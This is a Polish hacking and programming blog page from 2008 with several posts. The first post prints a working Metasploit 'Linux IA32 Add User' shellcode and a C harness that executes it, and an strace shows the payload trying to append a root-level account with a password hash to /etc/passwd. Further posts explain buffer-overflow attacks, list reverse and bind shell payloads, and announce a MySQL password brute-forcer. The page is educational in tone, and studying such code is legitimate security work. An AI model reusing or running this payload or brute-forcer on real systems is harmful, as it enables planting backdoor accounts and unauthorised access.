Shellcode - jak sprawdzić czy działa poprawnie?

Posted in newsy, programowanie, unix/linux by crony on the grudzień 12th, 2008


Shellcode to nic innego jak kod maszynowy podawany bezpośrednio do wykonania przez procesor w postaci gotowych instrukcji. Zapisany jest zazwyczaj w postaci heksadecymalnej. Tego typu forma musi zostać zachowana i jest konieczna do wykorzystywania shellcodów przy tworzeniu exploitów wykorzystujących błędy w oprogramowaniu. Jedną z najważniejszych cech poprawnego shellcodu jest jego długość (rozmiar) - kod taki powinien być jak najkrótszy czyli dobrze zoptymalizowany. Kolejną bardzo istotną cechą shellcodu jest brak wykorzystania znaków NULL. Dlaczego? Ponieważ NULL oznacza koniec ciągu znaków… a więc nasz shellcode zostałby uwalony np. w połowie podczas kopiowania do pamięci…
Jak więc sprawdzić zarówno jaki rozmiar posiada nasz shellcode jak i czy w ogóle działa ? Poniżej wygenerowany za pomocą metasploitu shellcode o długości 116 bajtów:

unsigned char scode[] =
“\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

Bardzo łatwo można sprawdzić faktyczną długość shellcodu za pomocą kodu poniżej:

char shellcode[] = “moj_shellcode”
int main()
{
int lenght,ret;
lenght = strlen(shellcode);
printf(”%d\n”, lenght);
}

I kolejny kod napisany w C , za pomocą, którego będziemy pewni, że nasz ‘opcode’ działa:

#include
char shellcode[] = “\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

int main (int argc, char **argv)
{
int (*ret)(); /*ret to wskaźnik funkcji */
ret = (int(*)())shellcode; /* ret wskazuje na nasz shellcode */
(int)(*ret)(); /* wykonaj jako funkcję shellcode */
}

Jeśli uruchomisz tego execa z uprawnieniami zwykłego usera otrzymasz:
gdm@slack2:/tmp$ strace ./is
execve(”./is”, ["./is"], [/* 27 vars */]) = 0
uname({sys=”Linux”, node=”slack2″, …}) = 0
brk(0) = 0×804a000
access(”/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(”/etc/ld.so.cache”, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=26720, …}) = 0
mmap2(NULL, 26720, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f9b000
close(3) = 0
open(”/lib/tls/libc.so.6″, O_RDONLY) = 3
read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300P\1″…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1366940, …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
mmap2(NULL, 1162428, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e7e000
mprotect(0xb7f93000, 27836, PROT_NONE) = 0
mmap2(0xb7f94000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×115) = 0xb7f94000
mmap2(0xb7f98000, 7356, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f98000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e7d000
mprotect(0xb7f94000, 4096, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e7d6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f9b000, 26720) = 0
setreuid(0, 0) = -1 EPERM (Operation not permitted)
open(”/etc//passwd”, O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
write(-13, “crony:AA68SaP.dLcSE:0:0::/:/bin/”…, 35) = -1 EBADF (Bad file descriptor)
_exit(-13) = ?

Shellcode chciał dodać nowego użytkownika ‘crony’ do systemu, ale niestety nie ma na to w tym przypadku uprawnień.

Należy zwracać uwagę na architekturę, na której testujecie takie kody jak powyżej. Wygenerowany shellcode to: Linux IA32 Add User, a więc na x86_64 działać nie będzie, a w efekcie otrzymacie segfaulta.

Skoro działa, pozostaje tylko odpowiednio go wykorzystać:>

Zrozumieć buffer overflow…

Posted in programowanie, unix/linux by crony on the grudzień 9th, 2008

buffer_overflow

Bezpieczne programowanie w języku C to umiejętność nietrywialna. Zakłada się, że praktycznie każdy duży projekt napisany w  języku niskiego poziomu jak C/C++ potencjalnie podatny jest na jeden z ataków związanych z przepełnieniami (i nie tylko). Są to następujące ataki:

- stack overflow
- heap overflow
- format string overflow
- buffer overflow

W niniejszym tekście zajmiemy się zrozumieniem i przeprowadzeniem faktycznego ataku BO na prostą aplikację, która posiada krytyczny błąd.

Atak typu buffer overflow to jeden z najczęściej wykonywanych ataków pozwalający na przejęcie kontroli nad usługą(bądź systemem), co w praktyce oznacza pełną bądź częściową(jeśli nie otrzymamy uid=0) kompromitację systemu.
Buffer overflow polega na przepełnieniu bufora w sposób pozwalający nadpisać adres powrotny funkcji (RET), która zostaje “zdjęta” ze stosu. Zazwyczaj doprowadzić chcemy, aby adres powrotny funkcji wskazywał na kod maszynowy (shellcode), czyli binarny obraz funkcji, który przekazany zostanie do bufora. W ten oto sposób możliwe jest wykonanie dowolnego kodu, np. reverse shell czy bind shell, który wykonany zostanie z uprawnieniami procesu, który będziemy atakować. Poniżej lista typowych shellcodów wykorzystywanych w środowisku Linux (źródło pochodzenia www.metasploit.com:55555):

Linux IA32 Add User
Linux IA32 Bind Shell
Linux IA32 Execute Command
Linux IA32 Recv Tag Findsock Shell
Linux IA32 Reverse Impurity Upload/Execute
Linux IA32 Reverse Shell
Linux IA32 Reverse UDP Shell
Linux IA32 SrcPort Findsock Shell
Linux IA32 Staged Bind Shell
Linux IA32 Staged Findsock Shell
Linux IA32 Staged Reverse Shell

Dla celow tego artykułu wykorzystamy program, ktory zawiera błąd BO:

(więcej…)

New version - SSHC v0.74-beta

Posted in newsy, programowanie, unix/linux by crony on the styczeń 4th, 2008

Najnowsza wersja SSH connectora zawiera kilka nowych funkcji takich jak sprawdzanie resolvowania domeny na adres IP, sprawdzanie użytkownika uruchamiającego sshc i użycie go jako domyślnego usera (jeśli nie ma wpisu w configu). Oprócz tego dodałem parę zmian do skryptu instalacyjnego. W przyszłości jednak chciałbym z niego zrezygnować na rzecz rozwiązania automake…Link do sshc: sshc.e-guardian.org

iniParser - biblioteka do parsowania plikow ini

Posted in newsy, programowanie, unix/linux by crony on the październik 6th, 2007

Pisząc aplikację w C natknąłem się na problem związany z plikiem
konfiguracyjnym. Dotyczył on konkretnie jego parsowania i odczytywania wartości.
Zalożeniem była obsługa configa podobnego do smb.conf-a z Samby. Poniżej
przykład:

[nazwa sekcji]
x1 = jojo
x2 = jojo2
x3 = 12345
x4 = testowanie

Napisanie sprawnego parsera zajęłoby mi pewnie mnóstwo czasu, dlatego
postanowiłem poszukać gotowej biblioteki. W myślach pojawiała się już nawet myśl związana z szukaniem funkcji z tym związanych w źródlach Samby…
Szybkim rozwiązaniem okazała się biblioteka iniparser http://ndevilla.free.fr/iniparser

Kompilacja standardowa… Powstaje nam biblioteka, którą linkujemy z naszym programem.
Koniecznością jest zaincludowanie pliku nagłówkowego “iniparser.h”. Do dyspozycji mamy następujące funkcje:

http://ndevilla.free.fr/iniparser

Sama bibliotekę wykorzystałem do projektu “Ncurses SSH connector”, który jest swego
rodzaju tekstową implementacją programu putty. Wkrótce zamieszczę wersję do testowania ;-)

Mysql brute forcer v0.2

Posted in programowanie, unix/linux by crony on the styczeń 14th, 2007

Pierwsza wersja toola bruteforce dla serwerów MySQL-a napisana w C. Prosty kod, brak tu wątków, ale działa:) Do użycia potrzebujesz słownika z hasłami. Aby skompilować : gcc sql_forcer.c -o sql_forcer -lmysqlclient. Zobacz kod: sql_forcer v0.2

USB Job Time Verificator

Posted in programowanie, unix/linux by crony on the styczeń 4th, 2007

Projekt napisany w oparciu o PERL-a, PHP-a i bazę PostgreSQL-a stworzony przede wszystkim do weryfikacji czasu pracy pracowników. W późniejszym czasie pojawiły się pomysły na dodatki typu: urlopy, dane osobowe itp. Działanie opiera się na następującym schemacie: każdy z pracowników posiada pendrive’a z unikatowym serial_numberem i właśnie za jego pomocą możliwe było stworzenie takiego projektu. Koniecznie potrzebny jest udev tworzący automagicznie urządzenie /dev/sdaX. Całość administrowana przez www. Jeśli projekt CIę zainteresował i chciałbyś pomóc w jego ukończeniu napisz do mnie! Zobacz kod źródłowy poszczególnych elementów: (więcej…)